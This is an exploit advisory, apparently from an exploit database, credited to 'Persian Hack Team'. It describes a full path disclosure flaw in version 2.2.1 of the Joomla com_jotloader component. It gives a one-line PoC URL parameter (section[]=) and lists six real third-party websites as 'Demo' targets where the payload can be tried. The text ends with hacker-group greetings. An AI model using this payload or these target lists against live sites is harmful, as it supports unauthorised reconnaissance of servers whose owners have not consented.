###################### # Exploit Title : Joomla com_jotloader - Full Path Disclosure Vulnerability # Exploit Author : Persian Hack Team # Vendor Homepage : http://www.joomlaos.de/option,com_remository/Itemid,41/func,fileinfo/id,4315.html # Category: [ Webapps ] # Tested on: [ Win ] # Version: 2.2.1 # Date: 2016/07/02 ###################### # # PoC: # Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. # /index.php?option=com_jotloader&section[]= # # Demo : # http://www.vm-bietigheim.de/index.php?option=com_jotloader&section[]= # http://www.icad-cisd.com/index.php?option=com_jotloader&section[]= # http://www.drizz.eu.pn/index.php?option=com_jotloader&section[]= # http://www.izabelsadallagrispino.com.br/index.php?option=com_jotloader&section[]=files # https://salantai.kretinga.lm.lt/index.php?option=com_jotloader&section[]=files # http://www.fmtcmylapore.org/index.php?option=com_jotloader&section[]=files # ###################### # Discovered by : Mojtaba MobhaM (kazemimojtaba@live.com) # Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi & Milad Hacking & JOK3R And All Persian Hack Team Members # Homepage : http://persian-team.ir ######################